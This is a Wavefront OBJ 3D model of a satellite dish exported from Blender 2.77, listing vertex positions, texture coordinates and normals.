# Blender v2.77 (sub 0) OBJ File: 'satelliteDish.blend'
# www.blender.org
o Dish
v 0.449280 -0.240624 -0.308473
v 0.449280 -0.003193 -0.308473
v 0.449280 -0.240624 -0.213500
v 0.449280 -0.003193 -0.213501
v -0.500443 -0.240632 -0.308473
v -0.500443 -0.003201 -0.308473
v -0.500443 -0.240632 -0.213501
v -0.500443 -0.003201 -0.213501
v 0.116877 -0.478057 -0.213501
v 0.116877 -0.478057 -0.308473
v -0.168040 -0.478059 -0.213501
v -0.168040 -0.478059 -0.308473
v 0.449280 -0.240624 0.261361
v 0.449280 -0.003193 0.261361
v 0.449280 -0.240624 0.356333
v 0.449280 -0.003193 0.356333
v -0.500443 -0.240631 0.261361
v -0.500443 -0.003201 0.261361
v -0.500443 -0.240631 0.356333
v -0.500443 -0.003201 0.356333
v 0.116877 -0.478057 0.356333
v 0.116877 -0.478057 0.261361
v -0.168040 -0.478060 0.356333
v -0.168040 -0.478060 0.261361
v 0.449280 -0.240624 -0.474674
v 0.449280 -0.003193 -0.474674
v -0.500443 -0.003201 -0.474675
v -0.500443 -0.240631 -0.474675
v 0.449280 -0.003193 0.522535
v 0.449280 -0.240624 0.522535
v -0.500443 -0.003201 0.522534
v -0.500443 -0.240631 0.522534
v -0.212713 -0.649130 0.476050
v -0.126856 -0.999915 0.268775
v -0.025582 -0.892579 0.024276
v -0.477356 -0.649133 0.211407
v -0.270080 -0.999916 0.125551
v -0.477355 -0.649133 -0.162855
v -0.270080 -0.999916 -0.076998
v -0.212712 -0.649131 -0.427498
v -0.126856 -0.999915 -0.220222
v 0.161549 -0.649128 -0.427498
v 0.075693 -0.999914 -0.220222
v 0.426192 -0.649125 -0.162854
v 0.218917 -0.999912 -0.076998
v 0.426192 -0.649125 0.211407
v 0.218917 -0.999912 0.125551
v 0.161549 -0.649127 0.476050
v 0.075693 -0.999913 0.268775
v -0.076219 -1.061504 0.146525
v -0.147831 -1.061505 0.074914
v -0.147831 -1.061505 -0.026361
v -0.076219 -1.061504 -0.097973
v 0.025056 -1.061504 -0.097973
v 0.096668 -1.061503 -0.026361
v 0.096668 -1.061503 0.074914
v 0.025056 -1.061504 0.146525
v -0.979126 -1.547361 2.326334
v -0.836483 -1.191744 1.981963
v -0.464438 -0.646075 1.083769
v -0.025582 -0.454459 0.024276
v 0.927961 -1.547347 2.326334
v 0.785318 -1.191731 1.981963
v 0.413274 -0.646068 1.083769
v 2.276475 -1.547336 0.977821
v 1.932105 -1.191723 0.835178
v 1.033911 -0.646063 0.463133
v 2.276476 -1.547336 -0.929266
v 1.932106 -1.191723 -0.786623
v 1.033911 -0.646064 -0.414580
v 0.927963 -1.547347 -2.277781
v 0.785320 -1.191731 -1.933411
v 0.413275 -0.646068 -1.035216
v -0.979124 -1.547362 -2.277782
v -0.836481 -1.191744 -1.933411
v -0.464437 -0.646075 -1.035216
v -2.327638 -1.547372 -0.929268
v -1.983268 -1.191753 -0.786625
v -1.085074 -0.646080 -0.414580
v -2.327639 -1.547372 0.977819
v -1.983269 -1.191753 0.835176
v -1.085074 -0.646080 0.463132
v -0.620594 -1.777874 2.418416
v 0.569429 -1.777865 2.418417
v 2.368558 -1.777851 0.619289
v 2.368559 -1.777851 -0.570734
v 0.569431 -1.777865 -2.369864
v -0.620592 -1.777874 -2.369864
v -2.419721 -1.777888 -0.570736
v -2.419721 -1.777888 0.619286
v -0.979126 -1.561234 2.307925
v -0.836483 -1.209381 1.967121
v -0.464438 -0.667253 1.074665
v -0.025582 -0.477510 0.024276
v 0.927961 -1.561219 2.307925
v 0.785319 -1.209368 1.967122
v 0.413274 -0.667246 1.074665
v 2.258066 -1.561209 0.977821
v 1.917263 -1.209359 0.835177
v 1.024807 -0.667241 0.463133
v 2.258067 -1.561209 -0.929266
v 1.917264 -1.209359 -0.786624
v 1.024807 -0.667241 -0.414580
v 0.927963 -1.561219 -2.259372
v 0.785319 -1.209368 -1.918568
v 0.413275 -0.667246 -1.026112
v -0.979124 -1.561234 -2.259372
v -0.836482 -1.209381 -1.918569
v -0.464438 -0.667253 -1.026113
v -2.309230 -1.561244 -0.929268
v -1.968426 -1.209389 -0.786624
v -1.075970 -0.667257 -0.414580
v -2.309230 -1.561244 0.977819
v -1.968427 -1.209389 0.835176
v -1.075970 -0.667257 0.463132
v -0.620594 -1.786425 2.397010
v 0.569429 -1.786416 2.397011
v 2.347152 -1.786402 0.619289
v 2.347153 -1.786402 -0.570734
v 0.569431 -1.786416 -2.348458
v -0.620592 -1.786425 -2.348458
v -2.398315 -1.786439 -0.570736
v -2.398315 -1.786439 0.619287
v -0.840577 -1.435717 1.991847
v -0.649352 -0.987009 1.530189
v -0.363164 -0.687190 0.839270
v -0.025582 -0.581906 0.024276
v 0.789412 -1.435705 1.991847
v 0.598187 -0.986999 1.530190
v 0.312000 -0.687185 0.839271
v 1.941989 -1.435696 0.839272
v 1.480331 -0.986992 0.648047
v 0.789412 -0.687181 0.361858
v 1.941989 -1.435696 -0.790717
v 1.480332 -0.986993 -0.599493
v 0.789413 -0.687181 -0.313305
v 0.789414 -1.435705 -1.943294
v 0.598189 -0.986999 -1.481636
v 0.312000 -0.687185 -0.790718
v -0.840575 -1.435718 -1.943294
v -0.649351 -0.987009 -1.481637
v -0.363163 -0.687190 -0.790718
v -1.993152 -1.435726 -0.790719
v -1.531494 -0.987016 -0.599494
v -0.840576 -0.687194 -0.313306
v -1.993152 -1.435726 0.839270
v -1.531495 -0.987016 0.648045
v -0.840576 -0.687194 0.361858
v -0.834683 -1.452869 1.977618
v -0.644430 -1.006138 1.518306
v -0.360715 -0.709336 0.833359
v -0.025582 -0.604957 0.024276
v 0.783518 -1.452856 1.977618
v 0.593265 -1.006128 1.518307
v 0.309551 -0.709331 0.833360
v 1.927760 -1.452847 0.833378
v 1.468448 -1.006121 0.643124
v 0.783501 -0.709327 0.359410
v 1.927761 -1.452847 -0.784823
v 1.468449 -1.006122 -0.594571
v 0.783502 -0.709327 -0.310857
v 0.783520 -1.452856 -1.929065
v 0.593267 -1.006128 -1.469754
v 0.309552 -0.709331 -0.784807
v -0.834681 -1.452869 -1.929065
v -0.644428 -1.006138 -1.469754
v -0.360714 -0.709336 -0.784807
v -1.978923 -1.452878 -0.784825
v -1.519611 -1.006145 -0.594572
v -0.834664 -0.709339 -0.310857
v -1.978923 -1.452878 0.833376
v -1.519612 -1.006144 0.643123
v -0.834665 -0.709339 0.359409
v -0.025581 -2.388569 -0.245512
v 0.244207 -2.388567 0.024276
v -0.025581 -2.388569 -0.219695
v 0.218390 -2.388567 0.024276
v -0.025581 -2.342466 -0.245512
v 0.244207 -2.342464 0.024276
v -0.025581 -2.342466 -0.219695
v 0.218390 -2.342464 0.024276
v -0.025581 -2.388569 0.294065
v -0.025581 -2.388569 0.268247
v -0.025581 -2.342466 0.294065
v -0.025581 -2.342466 0.268247
v -0.269552 -2.342468 0.024276
v -0.295370 -2.388571 0.024276
v -0.269552 -2.388571 0.024276
v -0.295370 -2.342468 0.024276
v -0.025581 -1.466508 -0.650195
v 0.648890 -1.466503 0.024276
v -0.025581 -1.466508 -0.585651
v 0.584346 -1.466503 0.024276
v -0.025581 -1.420405 -0.650195
v 0.648890 -1.420400 0.024276
v -0.025581 -1.420405 -0.585651
v 0.584346 -1.420400 0.024276
v -0.025581 -1.466508 0.698747
v -0.025582 -1.466508 0.634203
v -0.025581 -1.420405 0.698747
v -0.025581 -1.420405 0.634203
v -0.635509 -1.420409 0.024276
v -0.700053 -1.466513 0.024276
v -0.635508 -1.466512 0.024276
v -0.700053 -1.420410 0.024276
v -0.500443 -0.525548 -0.213501
v -0.500443 -0.762979 -0.213501
v -0.500443 -0.525548 0.261361
v -0.500443 -0.762979 0.261361
v 0.449280 -0.525541 -0.213500
v 0.449280 -0.762972 -0.213500
v 0.449280 -0.525541 0.261361
v 0.449280 -0.762971 0.261361
v -0.168040 -0.288115 0.261361
v -0.168040 -0.288115 -0.213501
v 0.116877 -0.288113 0.261361
v 0.116877 -0.288113 -0.213500
v 0.062014 -0.751910 0.111872
v -0.002530 -2.826547 0.047328
v 0.062014 -0.751910 -0.063319
v -0.002530 -2.826547 0.001225
v -0.113177 -0.751911 0.111872
v -0.048633 -2.826548 0.047328
v -0.113177 -0.751911 -0.063319
v -0.048633 -2.826548 0.001225
v 0.013606 -3.057063 0.063464
v 0.013606 -3.057063 -0.014911
v -0.064769 -3.057063 -0.014911
v -0.064769 -3.057063 0.063464
v -0.025581 -3.564197 0.024276
v -0.048633 -0.751911 0.969388
v -0.002530 -0.751910 0.969388
v -0.048633 -0.751911 0.923285
v -0.002530 -0.751910 0.923285
v -0.002529 -0.751910 -0.920837
v -0.002530 -3.057063 0.001225
v -0.048632 -0.751910 -0.920837
v -0.048633 -3.057063 0.001225
v -0.002529 -0.751910 -0.874734
v -0.002530 -3.057063 0.047328
v -0.048633 -0.751910 -0.874734
v -0.048633 -3.057063 0.047328
v 0.919531 -0.751903 0.047328
v 0.919531 -0.751903 0.001225
v 0.873428 -0.751904 0.047328
v 0.873428 -0.751904 0.001225
v -0.970694 -0.751918 0.001224
v -0.970694 -0.751918 0.047327
v -0.924591 -0.751918 0.001224
v -0.924591 -0.751917 0.047327
v -1.163445 -1.200716 0.622733
v -1.102886 -1.004720 0.275894
v -0.608615 -0.873756 0.160451
v -0.025582 -0.827765 0.024277
v -0.624040 -1.200711 1.162139
v -0.277200 -1.004714 1.101581
v -0.161756 -0.873753 0.607309
v 0.572875 -1.200702 1.162140
v 0.226036 -1.004710 1.101581
v 0.110593 -0.873751 0.607309
v 1.112281 -1.200698 0.622734
v 1.051723 -1.004703 0.275895
v 0.557451 -0.873747 0.160451
v 1.112282 -1.200698 -0.574181
v 1.051723 -1.004703 -0.227341
v 0.557451 -0.873747 -0.111898
v 0.572877 -1.200702 -1.113586
v 0.226037 -1.004710 -1.053028
v 0.110593 -0.873751 -0.558756
v -0.624039 -1.200712 -1.113587
v -0.277199 -1.004714 -1.053028
v -0.161756 -0.873753 -0.558757
v -1.163445 -1.200716 -0.574182
v -1.102886 -1.004720 -0.227342
v -0.608614 -0.873756 -0.111898
v -1.154277 -1.219774 0.613565
v -1.095842 -1.025508 0.268849
v -0.604925 -0.896209 0.156761
v -0.025582 -0.850816 0.024277
v -0.614871 -1.219770 1.152971
v -0.270156 -1.025501 1.094536
v -0.158067 -0.896206 0.603619
v 0.563707 -1.219761 1.152972
v 0.218991 -1.025497 1.094537
v 0.106903 -0.896204 0.603620
v 1.103113 -1.219757 0.613566
v 1.044678 -1.025491 0.268851
v 0.553761 -0.896200 0.156762
v 1.103114 -1.219757 -0.565012
v 1.044679 -1.025491 -0.220297
v 0.553762 -0.896200 -0.108208
v 0.563708 -1.219761 -1.104418
v 0.218993 -1.025497 -1.045984
v 0.106904 -0.896204 -0.555066
v -0.614870 -1.219770 -1.104419
v -0.270155 -1.025501 -1.045984
v -0.158066 -0.896206 -0.555067
v -1.154276 -1.219774 -0.565013
v -1.095842 -1.025508 -0.220298
v -0.604924 -0.896209 -0.108209
vt 0.2523 0.1405
vt 0.3573 0.1718
vt 0.2859 0.1904
vt 0.2050 0.2048
vt 0.2906 0.0832
vt 0.4153 0.1491
vt 0.2872 0.2190
vt 0.2910 0.3264
vt 0.2527 0.2693
vt 0.3591 0.2399
vt 0.3232 0.3778
vt 0.1969 0.2835
vt 0.1883 0.3508
vt 0.1792 0.4099
vt 0.0961 0.3019
vt 0.1466 0.2576
vt 0.1264 0.2052
vt 0.0506 0.3400
vt 0.0595 0.2049
vt 0.1462 0.1527
vt 0.0005 0.2035
vt 0.0961 0.1081
vt 0.1964 0.1263
vt 0.1798 0.0005
vt 0.1876 0.0584
vt 0.3223 0.0318
vt 0.2831 0.4947
vt 0.2755 0.6038
vt 0.2407 0.5549
vt 0.1991 0.6255
vt 0.3249 0.4483
vt 0.3423 0.5882
vt 0.1153 0.5033
vt 0.2141 0.5441
vt 0.1555 0.5588
vt 0.0802 0.4559
vt 0.2193 0.4705
vt 0.1233 0.6059
vt 0.0005 0.5769
vt 0.0591 0.5905
vt 0.0711 0.6925
vt 0.1297 0.6613
vt 0.1713 0.6985
vt 0.1480 0.7607
vt 0.0195 0.7212
vt 0.2273 0.6985
vt 0.2512 0.7617
vt 0.1283 0.8159
vt 0.2692 0.6608
vt 0.3802 0.7215
vt 0.3286 0.6924
vt 0.4019 0.5768
vt 0.5417 0.4037
vt 0.4169 0.4059
vt 0.4163 0.4037
vt 0.4163 0.4077
vt 0.5413 0.4099
vt 0.4169 0.4099
vt 0.7429 0.4016
vt 0.6180 0.4038
vt 0.6174 0.4016
vt 0.9311 0.0005
vt 0.9333 0.1253
vt 0.9311 0.1259
vt 0.7429 0.4070
vt 0.6179 0.4048
vt 0.7423 0.4048
vt 0.5417 0.4027
vt 0.4167 0.4006
vt 0.5412 0.4006
vt 0.6505 0.7427
vt 0.7753 0.7405
vt 0.7759 0.7427
vt 0.9347 0.7342
vt 0.9325 0.6094
vt 0.9347 0.6088
vt 0.4153 0.2628
vt 0.0526 0.0684
vt 0.2176 0.4108
vt 0.2715 0.8159
vt 0.5413 0.4059
vt 0.5417 0.4077
vt 0.7424 0.4038
vt 0.9333 0.0009
vt 0.6174 0.4070
vt 0.4163 0.4027
vt 0.6509 0.7405
vt 0.9325 0.7338
vt 0.2332 0.9198
vt 0.2415 0.8992
vt 0.2415 0.9198
vt 0.0643 0.8992
vt 0.0231 0.9198
vt 0.0231 0.8992
vt 0.0149 0.8992
vt 0.1838 0.9198
vt 0.1694 0.8992
vt 0.1838 0.8992
vt 0.6018 0.3333
vt 0.5483 0.3539
vt 0.5195 0.3333
vt 0.9009 0.5131
vt 0.8927 0.5955
vt 0.8927 0.5131
vt 0.5730 0.3621
vt 0.5483 0.3621
vt 0.6018 0.3827
vt 0.6084 0.3621
vt 0.5730 0.3539
vt 0.6084 0.3539
vt 0.5129 0.3539
vt 0.5129 0.3621
vt 0.1920 0.8992
vt 0.1920 0.9198
vt 0.9504 0.5131
vt 0.9648 0.5955
vt 0.9504 0.5955
vt 0.0726 0.9198
vt 0.0726 0.8992
vt 0.2332 0.8992
vt 0.5053 0.3333
vt 0.4517 0.3539
vt 0.4229 0.3333
vt 0.9421 0.5955
vt 0.9421 0.5131
vt 0.4765 0.3621
vt 0.4517 0.3621
vt 0.5053 0.3827
vt 0.5119 0.3621
vt 0.4765 0.3539
vt 0.5119 0.3539
vt 0.4163 0.3539
vt 0.4163 0.3621
vt 0.3804 0.8992
vt 0.3392 0.8169
vt 0.3804 0.8169
vt 0.9009 0.5955
vt 0.3383 0.9198
vt 0.2559 0.8992
vt 0.3383 0.8992
vt 0.0870 0.9198
vt 0.1694 0.9198
vt 0.2559 0.9198
vt 0.2415 0.8169
vt 0.8783 0.5955
vt 0.8783 0.5131
vt 0.0149 0.9198
vt 0.0005 0.8992
vt 0.5000 0.3981
vt 0.5824 0.3837
vt 0.5824 0.3981
vt 0.5865 0.9553
vt 0.5910 0.9995
vt 0.5762 0.9645
vt 0.5774 0.9514
vt 0.5726 0.9561
vt 0.5463 0.9995
vt 0.5625 0.9655
vt 0.5660 0.9563
vt 0.5610 0.9517
vt 0.5518 0.9558
vt 0.5162 0.9677
vt 0.5512 0.9412
vt 0.5607 0.9448
vt 0.5178 0.9245
vt 0.5612 0.9302
vt 0.5654 0.9396
vt 0.5766 0.9293
vt 0.5726 0.9394
vt 0.5489 0.8954
vt 0.5871 0.9406
vt 0.5775 0.9445
vt 0.6203 0.9246
vt 0.6218 0.9675
vt 0.5691 0.9480
vt 0.6215 0.3648
vt 0.6231 0.3333
vt 0.6231 0.3664
vt 0.6327 0.3648
vt 0.6287 0.3349
vt 0.6327 0.3349
vt 0.6287 0.3648
vt 0.6271 0.3333
vt 0.6271 0.3664
vt 0.5737 0.4077
vt 0.5760 0.4037
vt 0.5760 0.4077
vt 0.5696 0.4037
vt 0.5673 0.4077
vt 0.5673 0.4037
vt 0.6165 0.3933
vt 0.5849 0.3948
vt 0.5834 0.3933
vt 0.6149 0.3877
vt 0.5849 0.3837
vt 0.6149 0.3837
vt 0.5834 0.3893
vt 0.5849 0.3877
vt 0.6165 0.3893
vt 0.6149 0.4070
vt 0.5834 0.4054
vt 0.6165 0.4054
vt 0.6149 0.3998
vt 0.5849 0.3958
vt 0.6149 0.3958
vt 0.6165 0.4014
vt 0.5849 0.3998
vt 0.5834 0.4014
vt 0.5705 0.4077
vt 0.5728 0.4037
vt 0.5728 0.4077
vt 0.5427 0.4027
vt 0.5467 0.4005
vt 0.5467 0.4027
vt 0.6190 0.3333
vt 0.6206 0.3648
vt 0.6190 0.3664
vt 0.6094 0.3349
vt 0.6134 0.3648
vt 0.6094 0.3648
vt 0.6150 0.3333
vt 0.6134 0.3349
vt 0.6150 0.3664
vt 0.6544 0.7184
vt 0.7332 0.7223
vt 0.6505 0.7223
vt 0.6505 0.7353
vt 0.7253 0.7313
vt 0.7253 0.7353
vt 0.6505 0.7263
vt 0.7293 0.7303
vt 0.6544 0.7303
vt 0.7332 0.7263
vt 0.5598 0.4037
vt 0.5558 0.4093
vt 0.5558 0.4037
vt 0.5483 0.4037
vt 0.5427 0.4077
vt 0.5427 0.4037
vt 0.3854 0.8996
vt 0.3814 0.8208
vt 0.3854 0.8169
vt 0.3933 0.8956
vt 0.3973 0.8208
vt 0.3973 0.8956
vt 0.3894 0.8169
vt 0.3933 0.8208
vt 0.3894 0.8996
vt 0.4951 0.3996
vt 0.4163 0.3956
vt 0.4990 0.3956
vt 0.4951 0.3877
vt 0.4203 0.3837
vt 0.4951 0.3837
vt 0.4163 0.3916
vt 0.4203 0.3877
vt 0.4990 0.3916
vt 0.5608 0.4077
vt 0.5664 0.4037
vt 0.5664 0.4077
vt 0.5549 0.4077
vt 0.5493 0.4037
vt 0.5549 0.4037
vt 0.9315 0.6128
vt 0.9275 0.6915
vt 0.9275 0.6088
vt 0.9156 0.6128
vt 0.9196 0.6876
vt 0.9156 0.6876
vt 0.9235 0.6088
vt 0.9196 0.6128
vt 0.9235 0.6915
vt 0.8028 0.3779
vt 0.7620 0.3812
vt 0.7920 0.3606
vt 0.6866 0.3995
vt 0.7682 0.3995
vt 0.6843 0.2896
vt 0.6846 0.3411
vt 0.6639 0.3309
vt 0.6505 0.6762
vt 0.7329 0.6968
vt 0.6505 0.6968
vt 0.6873 0.3766
vt 0.7421 0.3629
vt 0.7653 0.3317
vt 0.7202 0.3586
vt 0.7405 0.3172
vt 0.7040 0.7174
vt 0.6793 0.7174
vt 0.7049 0.2997
vt 0.8330 0.4158
vt 0.8204 0.4108
vt 0.8390 0.4146
vt 0.8200 0.4115
vt 0.8203 0.4108
vt 0.8206 0.4141
vt 0.8268 0.4155
vt 0.8206 0.4120
vt 0.8445 0.4120
vt 0.8402 0.4677
vt 0.8223 0.4699
vt 0.8578 0.4645
vt 0.8773 0.4599
vt 0.8631 0.6078
vt 0.8022 0.4715
vt 0.9422 0.3601
vt 0.9462 0.1450
vt 0.9462 0.3601
vt 0.9385 0.1465
vt 0.9422 0.1450
vt 0.9345 0.3616
vt 0.9385 0.3616
vt 0.9308 0.3601
vt 0.9345 0.1465
vt 0.9466 0.9587
vt 0.9426 0.7436
vt 0.9466 0.7436
vt 0.9580 0.9587
vt 0.9543 0.7451
vt 0.9580 0.7436
vt 0.9503 0.9602
vt 0.9543 0.9602
vt 0.9503 0.7451
vt 0.9262 0.9587
vt 0.9302 0.7436
vt 0.9302 0.9587
vt 0.9416 0.9587
vt 0.9379 0.7451
vt 0.9416 0.7436
vt 0.9339 0.9602
vt 0.9379 0.9602
vt 0.9339 0.7451
vt 0.9587 0.3601
vt 0.9626 0.1450
vt 0.9626 0.3601
vt 0.9549 0.1465
vt 0.9587 0.1450
vt 0.9509 0.3616
vt 0.9549 0.3616
vt 0.9472 0.3601
vt 0.9509 0.1465
vt 0.0643 0.9198
vt 0.5195 0.3827
vt 0.9648 0.5131
vt 0.4229 0.3827
vt 0.3392 0.8992
vt 0.0870 0.8992
vt 0.2559 0.8169
vt 0.0005 0.9198
vt 0.5000 0.3837
vt 0.5903 0.8959
vt 0.6215 0.3349
vt 0.5737 0.4037
vt 0.5696 0.4077
vt 0.6149 0.3948
vt 0.5849 0.4070
vt 0.5705 0.4037
vt 0.5427 0.4005
vt 0.6206 0.3349
vt 0.7293 0.7184
vt 0.6505 0.7313
vt 0.5598 0.4093
vt 0.5483 0.4077
vt 0.3814 0.8956
vt 0.4203 0.3996
vt 0.5608 0.4037
vt 0.5493 0.4077
vt 0.9315 0.6876
vt 0.7329 0.6762
vt 0.9308 0.1450
vt 0.9426 0.9587
vt 0.9262 0.7436
vt 0.9472 0.1450
vt 0.7658 0.1825
vt 0.8610 0.2865
vt 0.7675 0.2595
vt 0.6644 0.2240
vt 0.8592 0.1486
vt 0.9032 0.2866
vt 0.7938 0.4119
vt 0.7992 0.5209
vt 0.7257 0.4977
vt 0.7992 0.6179
vt 0.6529 0.6243
vt 0.6672 0.5782
vt 0.7327 0.1420
vt 0.8285 0.0386
vt 0.8263 0.1156
vt 0.9296 0.0806
vt 0.6907 0.1420
vt 0.7353 0.0042
vt 0.4039 0.7511
vt 0.5129 0.7457
vt 0.4897 0.8192
vt 0.6497 0.7566
vt 0.5702 0.8777
vt 0.6099 0.7456
vt 0.6877 0.0026
vt 0.6663 0.1180
vt 0.6658 0.0268
vt 0.6461 0.8729
vt 0.6163 0.8920
vt 0.9066 0.1471
vt 0.9279 0.2619
vt 0.7883 0.6577
vt 0.6720 0.6541
vt 0.5995 0.0129
vt 0.5089 0.1213
vt 0.5089 0.0451
vt 0.4163 0.0832
vt 0.6420 0.0005
vt 0.5995 0.1535
vt 0.5569 0.6980
vt 0.5569 0.6219
vt 0.6495 0.6599
vt 0.4238 0.7427
vt 0.4663 0.5896
vt 0.4663 0.7303
vt 0.5704 0.2877
vt 0.4798 0.1793
vt 0.5704 0.2115
vt 0.6630 0.2496
vt 0.4798 0.3199
vt 0.4373 0.1669
vt 0.4954 0.4555
vt 0.4954 0.5316
vt 0.4028 0.4935
vt 0.6285 0.4108
vt 0.5860 0.5639
vt 0.5860 0.4232
vt 0.4163 0.1980
vt 0.4373 0.3323
vt 0.4163 0.3012
vt 0.6495 0.5452
vt 0.6495 0.4419
vt 0.6630 0.0316
vt 0.6420 0.1659
vt 0.4028 0.6083
vt 0.4028 0.7116
vt 0.9074 0.1450
vt 0.8587 0.1465
vt 0.7650 0.1806
vt 0.9041 0.2886
vt 0.8607 0.2885
vt 0.7668 0.2614
vt 0.7899 0.6590
vt 0.8012 0.6181
vt 0.6505 0.6246
vt 0.6652 0.5771
vt 0.7241 0.4963
vt 0.6898 0.1440
vt 0.7331 0.1440
vt 0.6868 0.0005
vt 0.7357 0.0021
vt 0.8293 0.0367
vt 0.6510 0.7550
vt 0.6101 0.7436
vt 0.6166 0.8944
vt 0.5692 0.8796
vt 0.4884 0.8208
vt 0.6641 0.2261
vt 0.8012 0.5207
vt 0.7919 0.4108
vt 0.8270 0.1175
vt 0.9301 0.0785
vt 0.5127 0.7436
vt 0.4028 0.7530
vt 0.9298 0.1699
vt 0.9298 0.2627
vt 0.7616 0.6753
vt 0.6708 0.6559
vt 0.6645 0.1188
vt 0.6639 0.0261
vt 0.6673 0.7833
vt 0.6479 0.8741
vt 0.6654 0.7836
vt 0.9281 0.1706
vt 0.7613 0.6734
vt 0.7192 0.7602
vt 0.7647 0.8309
vt 0.7223 0.8182
vt 0.6693 0.7915
vt 0.7657 0.7460
vt 0.7942 0.8155
vt 0.6693 0.8821
vt 0.7192 0.8508
vt 0.7223 0.9088
vt 0.7657 0.8366
vt 0.7942 0.9060
vt 0.7647 0.9214
vt 0.8275 0.8308
vt 0.8752 0.7617
vt 0.8702 0.8196
vt 0.9241 0.7947
vt 0.7990 0.8156
vt 0.8291 0.7461
vt 0.9241 0.8852
vt 0.8702 0.9101
vt 0.8752 0.8522
vt 0.7990 0.9062
vt 0.8291 0.8366
vt 0.8275 0.9214
vt 0.8863 0.2896
vt 0.8476 0.3676
vt 0.8476 0.3128
vt 0.8038 0.3402
vt 0.9162 0.3071
vt 0.8863 0.3909
vt 0.4467 0.9186
vt 0.4467 0.9734
vt 0.4028 0.9460
vt 0.5152 0.9129
vt 0.4853 0.9967
vt 0.4853 0.8954
vt 0.9468 0.4889
vt 0.9082 0.4108
vt 0.9468 0.4341
vt 0.9907 0.4615
vt 0.9082 0.5121
vt 0.8783 0.4284
vt 0.8708 0.6869
vt 0.8708 0.6320
vt 0.9146 0.6594
vt 0.8321 0.7101
vt 0.8022 0.6264
vt 0.8321 0.6088
vt 0.7945 0.7587
vt 0.7658 0.7436
vt 0.7963 0.7575
vt 0.7182 0.7582
vt 0.7650 0.8332
vt 0.7215 0.8202
vt 0.7963 0.8166
vt 0.7945 0.8492
vt 0.7658 0.8342
vt 0.7963 0.8480
vt 0.7650 0.9238
vt 0.7215 0.9107
vt 0.7963 0.9072
vt 0.8272 0.8331
vt 0.7972 0.8167
vt 0.7993 0.7588
vt 0.8290 0.7436
vt 0.8763 0.7597
vt 0.7972 0.7576
vt 0.8272 0.9237
vt 0.7972 0.9073
vt 0.7993 0.8494
vt 0.8290 0.8342
vt 0.8763 0.8502
vt 0.7972 0.8481
vt 0.6684 0.7936
vt 0.7182 0.8488
vt 0.6684 0.8842
vt 0.8710 0.8215
vt 0.9252 0.7927
vt 0.8710 0.9121
vt 0.9252 0.8832
vt 0.4238 0.5772
vt 0.6285 0.5763
vt 0.6630 0.1348
vt 0.6639 0.2219
vt 0.7960 0.4121
vt 0.9300 0.0828
vt 0.4041 0.7489
vt 0.9162 0.3733
vt 0.5152 0.9791
vt 0.8783 0.4946
vt 0.8022 0.6925
vt 0.6682 0.7895
vt 0.6682 0.8800
vt 0.9249 0.7968
vt 0.9249 0.8874
vn -0.0000 0.9174 0.3981
vn -0.0000 0.9918 0.1281
vn -0.0000 0.7171 0.6970
vn 0.2815 0.9174 0.2815
vn 0.0906 0.9918 0.0906
vn 0.4928 0.7171 0.4928
vn 0.1281 0.9918 0.0000
vn 0.6970 0.7171 0.0000
vn 0.3981 0.9174 0.0000
vn 0.4928 0.7171 -0.4928
vn 0.2815 0.9174 -0.2815
vn 0.0906 0.9918 -0.0906
vn -0.0000 0.9174 -0.3981
vn -0.0000 0.9918 -0.1281
vn -0.0000 0.7171 -0.6970
vn -0.0906 0.9918 -0.0906
vn -0.4928 0.7171 -0.4928
vn -0.2815 0.9174 -0.2815
vn -0.1281 0.9918 -0.0000
vn -0.6970 0.7171 -0.0000
vn -0.3981 0.9174 -0.0000
vn -0.2815 0.9174 0.2815
vn -0.0906 0.9918 0.0906
vn -0.4928 0.7171 0.4928
vn 0.0000 -0.9176 -0.3976
vn 0.0000 -0.9918 -0.1279
vn 0.0000 -0.7169 -0.6972
vn -0.2811 -0.9176 -0.2811
vn -0.0905 -0.9918 -0.0905
vn -0.4930 -0.7169 -0.4930
vn -0.1279 -0.9918 -0.0000
vn -0.6972 -0.7169 -0.0000
vn -0.3976 -0.9176 -0.0000
vn -0.4930 -0.7169 0.4930
vn -0.2811 -0.9176 0.2811
vn -0.0905 -0.9918 0.0905
vn 0.0000 -0.9176 0.3976
vn 0.0000 -0.9918 0.1279
vn 0.0000 -0.7169 0.6972
vn 0.0905 -0.9918 0.0905
vn 0.4930 -0.7169 0.4930
vn 0.2811 -0.9176 0.2811
vn 0.1280 -0.9918 0.0000
vn 0.6972 -0.7169 0.0000
vn 0.3976 -0.9176 0.0000
vn 0.2811 -0.9176 -0.2811
vn 0.0905 -0.9918 -0.0905
vn 0.4930 -0.7169 -0.4930
vn 0.0000 -0.6385 0.7696
vn 0.5442 -0.6385 0.5442
vn 0.7696 -0.6385 0.0000
vn 0.5442 -0.6385 -0.5442
vn 0.0000 -0.6385 -0.7696
vn -0.5442 -0.6385 -0.5442
vn -0.7696 -0.6385 -0.0000
vn -0.5442 -0.6385 0.5442
vn 1.0000 -0.0000 0.0000
vn -1.0000 0.0000 -0.0000
vn -0.0000 0.0000 1.0000
vn -0.0000 1.0000 0.0000
vn 0.0000 -1.0000 0.0000
vn 0.0000 0.0000 -1.0000
vn -0.5812 -0.8137 0.0000
vn 0.5812 -0.8137 0.0000
vn -0.6088 -0.5087 0.6088
vn -0.3181 -0.8931 0.3182
vn -0.8609 -0.5087 -0.0000
vn -0.4499 -0.8931 -0.0000
vn -0.3181 -0.8931 -0.3182
vn -0.6088 -0.5087 -0.6088
vn 0.0000 -0.5087 -0.8609
vn 0.0000 -0.8931 -0.4499
vn 0.6088 -0.5087 -0.6088
vn 0.3182 -0.8931 -0.3181
vn 0.4499 -0.8931 0.0000
vn 0.8609 -0.5087 0.0000
vn 0.3182 -0.8931 0.3181
vn 0.6088 -0.5087 0.6088
vn 0.0000 -0.5087 0.8609
vn 0.0000 -0.8931 0.4499
vn 0.0000 -0.5863 -0.8101
vn -0.5728 -0.5863 -0.5728
vn -0.8101 -0.5863 -0.0000
vn -0.5728 -0.5863 0.5728
vn 0.0000 -0.5863 0.8101
vn 0.5728 -0.5863 0.5728
vn 0.8101 -0.5863 0.0000
vn 0.5728 -0.5863 -0.5728
vn -0.7071 0.0000 0.7071
vn 0.7071 0.0000 -0.7071
vn -0.7071 0.0000 -0.7071
vn 0.7071 0.0000 0.7071
vn 0.5812 0.8137 0.0000
vn -0.5812 0.8137 -0.0000
vn 0.9995 -0.0311 0.0000
vn 0.0000 -0.0311 -0.9995
vn -0.9995 -0.0311 -0.0000
vn 0.0000 -0.0311 0.9995
vn -0.0000 0.0698 -0.9976
vn 0.0000 -0.0770 0.9970
vn -0.9976 0.0698 -0.0000
vn 0.9976 0.0698 0.0000
